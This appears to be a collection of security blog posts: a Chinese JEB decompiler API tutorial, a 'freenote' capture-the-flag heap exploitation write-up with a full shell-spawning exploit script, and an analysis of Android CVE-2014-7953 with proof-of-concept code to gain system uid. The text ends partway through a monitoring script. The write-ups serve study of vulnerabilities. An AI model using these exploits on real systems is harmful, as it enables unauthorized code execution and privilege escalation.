Advanced Android Application Analysis Series – JEB API Manual and Plugin Writing

Android应用分析进阶教程之一- 初识JEBAPI

还在对着smali和jdgui抓耳挠腮grep来grep去吗?本系列教程将围绕Soot和JEB,讲述Android应用的进阶分析,感受鸟枪换炮的快感.

JEB是Android应用静态分析的de facto standard,除去准确的反编译结果、高容错性之外,JEB提供的API也方便了我们编写插件对源文件进行处理,实施反混淆甚至一些更高级的应用分析来方便后续的人工分析.本系列文章的前几篇将对JEB的API使用进行介绍,并实战如何利用开发者留下的蛛丝马迹去反混淆.先来看看我们最终编写的这个自动化反混淆插件实例的效果:

反混淆前: before-deobfus-1 before-deobfus-2 反混淆后: after-deobfus-1

after-deobfus-2 可以看到很多类名和field名都被恢复出来了. 读者朋友肯定会好奇这是如何做到的, 那我们首先来看下JEB提供API的结构:

JEB AST API结构

JEB的AST与Java的AST稍有不同,但大体还是很相似的,只是做了些简化.所有的AST Element实现jeb.api.ast.IElement,要么继承于jeb.api.ast.NonStatement,要么继承于jeb.api.ast.Statement.他们的关系如下图所示: ast-1

IElement定义了getSubElements,但不同类型的实现和返回结果也不同,例如对Method进行getSubElements调用的返回会是函数的参数定义语句和函数体block,而IfStmt会返回判断使用的Predicate和每一个if/else/ifelse语句块.而一个Assignment语句则会返回左右IExpression操作数,以及Operator操作符.具体编写脚本中我们通常并不使用这个函数,而根据具体类型定义的更细致的函数,例如Assignment提供的getLeftgetRight.

以下面的函数为例,我们来分析它具体由哪些AST元素组成.

boolean isZtz162(Ztz ztz)
{
boolean bool = true;
Redrain redrain = Redrain.getInstance("AnAn");                 if(redrain.canShoot())
{
redrain.shoot(163);
if(ztz.isDead()) { bool = false; }
}
 else if(ztz.height + Integer.parseInt(ztz.shoe) > 162)
 { bool = false; }
 return bool;
}

首先来看下NonStatement

NonStatement

在文档中, NonStatement的描述是Base class for AST elements that do not represent Statements. ,即所有不是Statement的AST结构继承于NonStatement,如下图所示: ast-2

NonStatementExpression的区别在于,NonStatement包含了一些高阶结构,例如jeb.api.ast.Class, jeb.api.ast.Method这些并不会出现在语句中的AST结构体,他们分别代表一个Class结构和Method结构,注意不要与反射语句中使用的Class和Method混淆.

Statement

Statement顾名思义就代表了一个语句,但值得注意的是这里的语句并不代表单个语句,继承于CompoundStatement中也可能包含其他的Statement.例如下面这段代码:

if(ztz.isDead())//redundant statement to demonstrate if-else { return false; }
else{ return true; }

这事实上是一整个继承于CompoundIfStm,也就是Statement.

Statement的继承关系图如下图所示, ast-3

CompoundStatement是最基本的语句结构,它的子节点只会由Expression构成而不会包含block. 例如Assignment,可以通过getLeftgetRight调用获得左右两边的操作对象,分别为ILeftExpressionIExpression.ILeftExpression代表可以做左值的Expression,例如变量.而常量显然不实现ILeftExpression接口

Compound

Compound代表多个语句集合的语法块集合,每一个语法块以Block(也是Compound的子类)呈现,通过getBlocks调用获得.所有分支语句均继承Compound,如下图所示: ast-4

在上面提到的例子中,IfStmt就是一个Compound,我们通过getBranchPredicate(idx)获取Predict,也就是ztz.isDead()这个Expression,而这个Expression真正的类型是子类Call.我们可以通过getBranchBody(idx)获取if和if-else中的Block,通过getDefaultBlock获取else的Block

IExpression

IExpression代表了最基本的AST节点,其实现关系如下图: ast-5

IExpression接口的实现者Expression类代表了算术和逻辑运算的语句片段,例如a+b, “162” + ztz.toString(), !ztz, redrain*(ztz-162)等等,同时Predicate类是Expression类的直接子类,譬如在if(ztz162)中,该语句的Predicate左值为ztz162这个identifier,右值为null.

ztz.test(1) + ”height" + 162这个Expression为例,其结构组成和各节点类型如下: jeb-expression-chart 值得注意的有如下几点: – Expression是从右到左的结构 – Call没有提供获取caller的API,不过可以通过getSubElements()获取,返回顺序为 – callee method – calling instance (if instance call) – calling arguments, one by one

InstanceField, StaticField和Field

三者的关系如下图所示: 1434640610408

InstanceFieldStaticField包含Field. InstanceField通过getInstance调用获取一个IExpression,也就是Field的container. Field本身是Class的元素,而InstanceFieldStaticField则是它的具体实例化.

实例Method分析

以我们上面提到的isZtz162函数为例,它的AST结构如下:

  • jeb.api.ast.Method (getName() == “isZtz162”) => getBody()
    • Block => block.get(i) //遍历block中的语句
      • Assignment “boolean bool = true” => getSubElements
        • Definition “boolean bool”
          • Identifier “bool”
        • Constant “true”
      • Assignment “Redrain redrain = Redrain.getInstance(“AnAn”);” => getSubElements
        • Definition => getSubElements (注意它是父assignment的getLeft返回结果(左值))
          • Identifier “redrain”
        • Call “Redrain.getInstance(“AnAn)”” (注意它是父assignment的getRight返回结果(右值))
          • …(omit)
      • IfStmt (Compound) => getBlocks()
        • Block (if block) => block.get(i) 遍历block中的语句
          • Call “redrain.shoot(163);”
          • IfStmt (Compound)
            • …omit
        • Block (elseif block) => block.get(i) 遍历block中的语句
          • Assignment “bool = false'”
          • ..omit

可以通过如下代码来递归打印一个Method中的各个Element: class test(IScript):

def run(self, j):
    self.instance = j
    sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
    currentMethod = self.instance.getDecompiledMethodTree(sig)
    self.instance.print("scanning method: " + currentMethod.getSignature())
    body = currentMethod.getBody()
    self.instance.print(repr(body))
    for i in range(body.size()):
        self.viewElement(body.get(i),1)
def viewElement(self, element, depth):
    self.instance.print("    "*depth+repr(element))
    for sub in element.getSubElements():
        self.viewElement(sub, depth+1)

输出结果如下:

jeb.api.ast.Block@5909b311
    jeb.api.ast.Assignment@bcb4ec2
    jeb.api.ast.Definition@66afd874
        jeb.api.ast.Identifier@38ffa6bd
    jeb.api.ast.Constant@181bdf87
    jeb.api.ast.Assignment@4df0246e
    jeb.api.ast.Definition@50e7d9bb
        jeb.api.ast.Identifier@2587ad7c
    jeb.api.ast.Call@6e8ebb23
        jeb.api.ast.Method@5ca02f89
            jeb.api.ast.Definition@1890fae1
                jeb.api.ast.Identifier@5646d660
            jeb.api.ast.Block@44a464e0
        jeb.api.ast.Constant@4dad155
    jeb.api.ast.IfStm@298ea172
    jeb.api.ast.Predicate@530958ae
        jeb.api.ast.Call@a9d3219
            jeb.api.ast.Method@56440cc0
                jeb.api.ast.Definition@da13d7f
                    jeb.api.ast.Identifier@54cc63d6
                jeb.api.ast.Block@36aea218
            jeb.api.ast.Identifier@2587ad7c
    jeb.api.ast.Predicate@313f1b4
        jeb.api.ast.Expression@12616200
            jeb.api.ast.InstanceField@3768f76d
                jeb.api.ast.Identifier@4c4c3186
                jeb.api.ast.Field@198ed96b
            jeb.api.ast.Call@71640ce8
                jeb.api.ast.Method@5f8b8d80
                jeb.api.ast.InstanceField@42f6ff81
                    jeb.api.ast.Identifier@4c4c3186
                    jeb.api.ast.Field@6600907f
        jeb.api.ast.Constant@2f0eb62a
    jeb.api.ast.Block@6ed99788
        jeb.api.ast.Call@f6b9a93
            jeb.api.ast.Method@617130cd
                jeb.api.ast.Definition@4e3b14b5
                    jeb.api.ast.Identifier@8cc9f33
                jeb.api.ast.Definition@31e7d1c8
                    jeb.api.ast.Identifier@6a7dbb10
                jeb.api.ast.Block@64844e0e
            jeb.api.ast.Identifier@2587ad7c
            jeb.api.ast.Constant@2a20acb0
        jeb.api.ast.IfStm@47296c6b
            jeb.api.ast.Predicate@708d094c
                jeb.api.ast.Call@3b5d964e
                    jeb.api.ast.Method@7d36f954
                        jeb.api.ast.Definition@242b3a05
                            jeb.api.ast.Identifier@11ee30d0
                        jeb.api.ast.Block@2cc6b0e2
                    jeb.api.ast.Identifier@4c4c3186
            jeb.api.ast.Block@2886dc65
                jeb.api.ast.Assignment@2def7fac
                    jeb.api.ast.Identifier@38ffa6bd
                    jeb.api.ast.Constant@46a70cc3
    jeb.api.ast.Block@136fa72
        jeb.api.ast.Assignment@407452fd
            jeb.api.ast.Identifier@38ffa6bd
            jeb.api.ast.Constant@46a70cc3
    jeb.api.ast.Return@14f4811a
    jeb.api.ast.Identifier@38ffa6bd

对AST结构的分析就到这里,本文选取了几种最典型的做了讲解.此外JEB还提供了jeb.api.dex,提供了对dex文件的操作API.由于这方面资料比较多,这里就先不赘述了.

实例分析之开发环境配置

JEB原生支持Java和Python两种语言进行开发,后者的支持是通过Jython实现的.这里简便起见我们的例子均以Python为例.个人建议想使用前者的话最好使用Scala,否则Java本身实在太罗嗦了.

Java

在eclipse中配置好classpath中的library指向bin/jeb.jar,同时将javadoc路径指向jeb/doc/apidoc.zip即可.

1434639993696

1434639954618

1434639823928

1434639770823

Python

Python环境配置相对麻烦点,因为JEB并没有提供相对应的skeleton,导致Python的IDE中默认没有代码补全,需要自行配置.笔者使用了PyCharm的JythonHelper插件,可以帮助生成skeleton从而有基本的代码补全.

配置好环境后,我们来编写一个最简单的插件:输出光标所在位置的method signature,代码如下所示:

from jeb.api import IScript
from jeb.api.ui import View
class test(IScript):
    def run(self, j):
        self.instance = j
        sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
        currentMethod = self.instance.getDecompiledMethodTree(sig)
        self.instance.print("scanning method: " + currentMethod.getSignature())

保存为test.py,点击File->Run Script->test.py, JEB就会在下面的console中输出当前光标所在函数的signature.

总结

本文介绍了JEB Java AST API的基本知识和插件编写入门,同时也可以作为一个APIDoc的补充参考.在下一篇文章中我们将会根据实例讲解如何编写高级的更复杂的插件. 源代码和测试样例在https://github.com/flankerhqd/jebPlugins可以找到。

freenote – advanced heap exploitation

Author: Flanker

Abstract

Freenote is a binary with infoleak and double free vulnerabilities and is a good practice for heap exploitation. The first vulnerability is when a note is deleted, its content isn’t zeroed and when another note is allocated at the very same location, the content of last allocation is still there. The second vulnerability is when freeing note the program does not check if the current note is actually already freed, causing a double free.

Introduction

There are two data structures used in freenote, one we name it “NoteBook” and the other “Note”. Note book can be mapped to the following structure:

struct Notebook {
    int tot_cnt;
    int use_cnt;
    Note notes[256];
}
struct Note {
    int in_use;
    int content_length;
    char* content;
}

There are four operations available: list, delete, new, edit. Delete operation simply set the in_use field to zero and call free on the Note ptr, however it doesn’t check whether this note is already freed before (in_use field is already zero). Edit option checks if the new input lenght is equal to original one. If not, it will call realloc and then write new content into the origin note. New option mallocs a (len//0x80 + 1)*0x80 chunk and writes user input, notice no zmalloc or memeset zero is called. Thus lead to the first vulnerability – infoleak.

Heap baseaddress InfoLeak

As we stated before, neither new note or delete note operations zero outs memory. Recall the chunk struct of glibc malloc:

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
    struct malloc_chunk* fd; /* double links -- used only if free. */
    struct malloc_chunk* bk; /* double links -- used only if free. */
    struct malloc_chunk* fd_nextsize; /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* bk_nextsize; /* Only used for large blocks: pointer to next larger size. */
 };

And also, list note use %s format string to output note content, so we can free two non-adjacent note. This will make the first 16 bytes (for 64bit-arch or 8bytes for 32bit-arch) after size field, which is originally the “data”/”content” of in use note. Then we can new a note again, because freed chunk in bin list tend to be reused first, we will actually get the originally freed note. And write sizeof(malloc_chunk*) char into the note, call list note and we will get the bk pointer value.

We cannot just free one note and call new note on it because when there is only one free chunk, this chunk’s fd and bk will point to glibc global struct but not chunk on the heap. We need the heap address to bypass ASLR to exploit the next double-free vulnerability.

So steps are: – New four notes, 0,1,2,3 – Delete 0,2 – New note again, this time note 0’s chunk is reused, write 4bytes(32bit arch)/8bytes(64bit arch) – List note, get note2’s address, substract offset to get base heap address.

After 0 is freed:

gdb-peda$ x/100xg 0x604820
0x604820:    0x0000000000000000    0x0000000000000091
0x604830:    0x00007ffff7dd37b8    0x00007ffff7dd37b8
gdb-peda$ p main_arena
$3 = {
  mutex = 0x0,
  flags = 0x1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x604a60,
  last_remainder = 0x0,
  bins = {0x604820, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Notice currently chunk Note0 does not contain pointer to address on heap.

After 2 is freed:

(after free 2)
0x604820:    0x0000000000000000    0x0000000000000091(note 0 chunk)
0x604830:    0x00007ffff7dd37b8    0x0000000000604940(point to note2 free chunk)
0x604840:    0x0000000000000000    0x0000000000000000
0x604850:    0x0000000000000000    0x0000000000000000
0x604860:    0x0000000000000000    0x0000000000000000
0x604870:    0x0000000000000000    0x0000000000000000
0x604880:    0x0000000000000000    0x0000000000000000
0x604890:    0x0000000000000000    0x0000000000000000
0x6048a0:    0x0000000000000000    0x0000000000000000
0x6048b0:    0x0000000000000090    0x0000000000000090(note 1 chunk)
0x6048c0:    0x0000000062626262    0x0000000000000000
0x6048d0:    0x0000000000000000    0x0000000000000000
0x6048e0:    0x0000000000000000    0x0000000000000000
0x6048f0:    0x0000000000000000    0x0000000000000000
0x604900:    0x0000000000000000    0x0000000000000000
0x604910:    0x0000000000000000    0x0000000000000000
0x604920:    0x0000000000000000    0x0000000000000000
0x604930:    0x0000000000000000    0x0000000000000000
0x604940:    0x0000000000000000    0x0000000000000091(note 2 chunk)
0x604950:    0x0000000000604820    0x00007ffff7dd37b8(point back to note0 free chunk)
0x604960:    0x0000000000000000    0x0000000000000000
gdb-peda$ p main_arena
$4 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x604a60,
last_remainder = 0x0,
bins = {0x604940, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Double free

As note can be freed twice, we can use the unlink primitive to do a arbitrary write. But how do we bypass the glibc unlink FD->BK == P && BK->FD == P check? We will use 64bit arch in the following content of this article.

Remember there is also a pointer point to the note chunk in notes array, we call it “content”. A fake chunk with *(FD+3) == P == content and *(BK+2) == P == content will pass glibc’s check, thus make *P = P-3.

Free use prev_size to decide previous chunk’s address if prev_inuse (size&1) is false. If dlmalloc finds out previous chunk is free when freeing current chunk, it will do an unlink on previous chunk to remove it off freelist and merge with current chunk.

So we have a sckeleton idea, – Alloc 0,1,2, place fake chunk at 0 – Free 1,2 – Alloc 3 covering 1,2, so that we can construct a fake chunk in the original location of 2 – Call free on 2 again

What’s worthing noticing is that dlmalloc decides if current block is in use by checking next adjacent chunk’s in_use flag. So to make double free on 2 succeed, we need append two more fake chunks, and set them as in use. This is because:

For the following chunks (assume all valid chunks): | 1 | 2 | 3 | 4 | 5 |

When freeing 3, dlmalloc will check if 2 is in use using 3’s PREV_INUSE flag, and check if 4 is in use using 5’s PREV_INUSE flag. 5’s address is decided using 3’size + 3’address + 4’size. So when we make fake chunk 3, we must also append two “valid” fake inuse chunks after 3, to avoid SIGSEGV.

READ LIBC ADDRESS

As we successfully perform a write, the memory layout of NoteBook struct, which is at the beginning of heap, becomes

gdb-peda$ x/40xg 0x11af000
0x11af000:    0x0000000000000000    0x0000000000001821
0x11af010:    0x0000000000000100    0x0000000000000002
0x11af020:    0x0000000000000001    0x0000000000000020
0x11af030:    0x00000000011af018    0x0000000000000001

Notice *P has becomes P-3, so by editing note we can overwrite P, pointing it to free@got or whatever convenient. When constructing note payload, notice the payload length should be equal to original one (0x20), or realloc will be called and our fake chunk will not pass realloc check. For the following note edit’s convenience (we’re writing a 8byte address to note 0, we can modify note0’s length as 8 here).

Then perform a note list to read free@got’s content, i.e. free’s address. Using this address we’re able to get system’s address. Then a write (note edit) is performed on note 0, remember we’ve already modified note0’s length to 8, thus avoiding realloc.

EXECUTE CODE

We choose to rewrite free@got because we can control its argument, e.g. freeing a note whose content is under our control like “/bin/sh”. So we can new a note with content “/bin/sh\x00”, then call rewrited free (now system) will give us a shell.

Example code (64bit and 32bit)

64bit:

from zio import *
import time
#io = zio('./freenote1')
io = zio(("xxxx",10001))
def new_note(content):
    io.read_until("choice: ")
    io.writeline("2")
    io.read_until("new note: ")
    io.writeline(str(len(content)))
    io.read_until("note: ")
    io.writeline(content)
    io.read_until("choice: ")
def free_note(nid):
    io.read_until("choice: ")
    io.writeline("4")
    io.read_until("number: ")
    io.writeline(str(nid))
def read_note(nid):
    io.read_until("Your choice: ")
    io.writeline("1")
    notes = io.read_until("== 0ops Free Note ==")
        if notes.find("Invalid") != -1:
            io.read_until("Your choice: ")
            notes = io.read_until("== 0ops Free Note ==")
    for note in notes.split('\n'):
        if note[0] == str(nid):
            return note.split("%d. "%nid)[1]
    return ""
def mod_note(nid, content):
        io.read_until("Your choice: ")
        io.writeline("3")
        io.read_until("Note number: ")
        io.writeline(str(nid))
        io.read_until("Length of note: ")
        io.writeline(str(len(content)))
    io.read_until("Enter your note: ")
        io.writeline(content)
        io.read_until("choice: ")
new_note("aaaa")
new_note("bbbb")
new_note("cccc")
new_note("dddd")
free_note(0)
free_note(2)
new_note("abcdabcd")
#free block 0 and 2
out = read_note(0)
base_addr = l64(out[8:].ljust(8,"\x00")) - 144*2 - (0x604820 - 0x603000)
prev_size_offset = 144*2 + 128
#note addr begins at 0x603010
FAKE_PREV_SIZE = 0x0
FAKE_SIZE = prev_size_offset + 1
FAKE_FD_ADDR = base_addr + 0x18 #*(FD+4) = P
FAKE_BK_ADDR = base_addr + 0x20 #*(BK+3) = P
#free all notes, 0,1,2,3
free_note(0)
free_note(1)
free_note(3)
new_note(l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + l64(FAKE_FD_ADDR) + l64(FAKE_BK_ADDR))
new_note("/bin/sh\x00")
FAKE_PREV_SIZE = prev_size_offset
FAKE_SIZE = 0x90
#alloc chunk at (2,3)
new_note('a'*128 + l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + 128*'a' + (l64(0) + l64(0x91) + 128*'a')*2)
free_note(3)
#alloc note0 with fake chunk
#now free block 1, then alloc block4 at block(1,2)
#fake chunk 2 should have prev_size points to chunk 0 data area
'''
|PREV_SIZE|SIZE|{PREV_SIZE}|{SIZE}|{DATA}|PREV_SIZE|SIZE|DATA
'''
'''
now *p = p-3, modify note 1 to free@got
'''
mod_note(0, l64(0x2) + l64(0x1) + l64(0x8) + l64(0x602018))
free_addr = l64(read_note(0).ljust(8, "\x00"))
system_addr = free_addr - (0x76C60 - 0x40190)#libc at pwn server
#system_addr = free_addr - (0x82df0 - 0x46640)
mod_note(0, l64(system_addr))
free_note(1)
io.interact()

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

ADB backupAgent 提权漏洞分析 (CVE-2014-7953) 注:该文也已发表在drops.wooyun.org. pdf版可见 http://tool.flanker017.me/papers/cve-2014-7953.pdf

摘要

CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。

背景介绍

BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。

当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。

在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。

漏洞成因

在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:

// Cause the target app to be launched if necessary and its backup agent
12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the
12820    // activity manager to announce its creation.
12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825        synchronized(this) {
/*...*/
12833            // Backup agent is now in use, its package can't be stopped.
12834            try {
12835                AppGlobals.getPackageManager().setPackageStoppedState(
12836                        app.packageName, false, UserHandle.getUserId(app.uid));
12837            } catch (RemoteException e) {
12838            } catch (IllegalArgumentException e) {
12839                Slog.w(TAG, "Failed trying to unstop package "
12840                        + app.packageName + ": " + e);
12841            }
12842
12843            BackupRecord r = new BackupRecord(ss, app, backupMode);
12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845                    ? new ComponentName(app.packageName, app.backupAgentName)
12846                    : new ComponentName("android", "FullBackupAgent");
12847            // startProcessLocked() returns existing proc's record if it's already running
12848            ProcessRecord proc = startProcessLocked(app.processName, app,
12849                    false, 0, "backup", hostingName, false, false, false);
12850            if (proc == null) {
12851                Slog.e(TAG, "Unable to start backup agent process " + r);
12852                return false;
12853            }
12854
12855            r.app = proc;
12856            mBackupTarget = r;
12857            mBackupAppName = app.packageName;
12858
12859            // Try not to kill the process during backup
12860            updateOomAdjLocked(proc);
12861
12862            // If the process is already attached, schedule the creation of the backup agent now.
12863            // If it is not yet live, this will be done when it attaches to the framework.
12864            if (proc.thread != null) {
12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866                try {
12867                    proc.thread.scheduleCreateBackupAgent(app,
12868                            compatibilityInfoForPackageLocked(app), backupMode);
12869                } catch (RemoteException e) {
12870                    // Will time out on the backup manager side
12871                }
12872            } else {
12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874            }
12875            // Invariants: at this point, the target app process exists and the application
12876            // is either already running or in the process of coming up.  mBackupTarget and
12877            // mBackupAppName describe the app, so that when it binds back to the AM we
12878            // know that it's scheduled for a backup-agent operation.
12879        }
12880
12881        return true;
12882    }

ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。

而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。

漏洞利用

但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。

setPackageStoppedState的权限检查

从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:

Screenshot from 2015-04-20 15:50:35

但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。

一个猥琐的步骤如下: – 调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。 – startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。 – startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。

正常的情况下,当包存在时,会是如下时序:

Screenshot 2015-05-02 13.42.23

包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。

Screenshot 2015-05-02 13.44.34

TOCTOU利用时序图如下:

Screenshot 2015-05-02 13.48.38

这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中Copying native libraries to,在此刻触发bindBackupAgent调用,基本每次都能成功。

handleCreateBackupAgent的检查

跟一下调用链:

        public final void scheduleCreateBackupAgent(ApplicationInfo app,
658                CompatibilityInfo compatInfo, int backupMode) {
659            CreateBackupAgentData d = new CreateBackupAgentData();
660            d.appInfo = app;
661            d.compatInfo = compatInfo;
662            d.backupMode = backupMode;
663
664            sendMessage(H.CREATE_BACKUP_AGENT, d);
665        }
public void handleMessage(Message msg) {
//omit
                case CREATE_BACKUP_AGENT:
1337                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340                    break;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428    private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431        // Sanity check the requested target package's uid against ours
2432        try {
2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434                    data.appInfo.packageName, 0, UserHandle.myUserId());
2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436                Slog.w(TAG, "Asked to instantiate non-matching package "
2437                        + data.appInfo.packageName);
2438                return;
2439            }
2440        } catch (RemoteException e) {
2441            Slog.e(TAG, "Can't reach package manager", e);
2442            return;
2443        }
//omit
2448        // instantiate the BackupAgent class named in the manifest
2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450        String packageName = packageInfo.mPackageName;
//omit
2461
2462        BackupAgent agent = null;
2463        String classname = data.appInfo.backupAgentName;
2464
2465        // full backup operation but no app-supplied agent?  use the default implementation
2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467                || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468            classname = "android.app.backup.FullBackupAgent";
2469        }
2470
2471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)
2472            IBinder binder = null;
2473            try {
2474                if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476                java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477                agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479                // set up the agent's context
2480                ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481                context.setOuterContext(agent);
2482                agent.attach(context);
2483
2484                agent.onCreate();
2485                binder = agent.onBind();
2486                mBackupAgents.put(packageName, agent);
2487            } catch (Exception e) {
2488                //omit
2496            }
//omit
2508    }
2509

该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。

如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。

但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。

喜闻乐见的shell…吗

顺利的话system身份进程已经启动。 Screenshot from 2015-04-20 15:50:21

如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图: Screenshot from 2015-04-20 20:20:50

这里会有两种情况: – 进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。 – 进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。

对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示: Screenshot from 2015-04-20 22:19:01

这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?如何跳出这个轮回留给读者做一道思考题。

第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。

总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。

附效果截图:

system: Screenshot from 2015-04-20 21:35:05

当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图: Screenshot from 2015-04-20 22:37:34

可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。

部分POC:

myapp:

public class Test {

    public static void main(String []args)
    {
        test(Integer.parseInt(args[0]));
    }
    public static void test(Integer uid)
    {
        try {
            Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
            Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
            Object iActivityManager = bindBackupAgent.invoke(null);
            Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
            ApplicationInfo applicationInfo = new ApplicationInfo();
            applicationInfo.dataDir = "/data/data/com.example.myapp";
            applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
            applicationInfo.processName = "com.example.myapp";
            applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.taskAffinity = "com.example.myapp";
            applicationInfo.packageName = "com.example.myapp";
            applicationInfo.flags = 8961606;
            applicationInfo.uid = uid;
            bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。

监控py脚本

from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
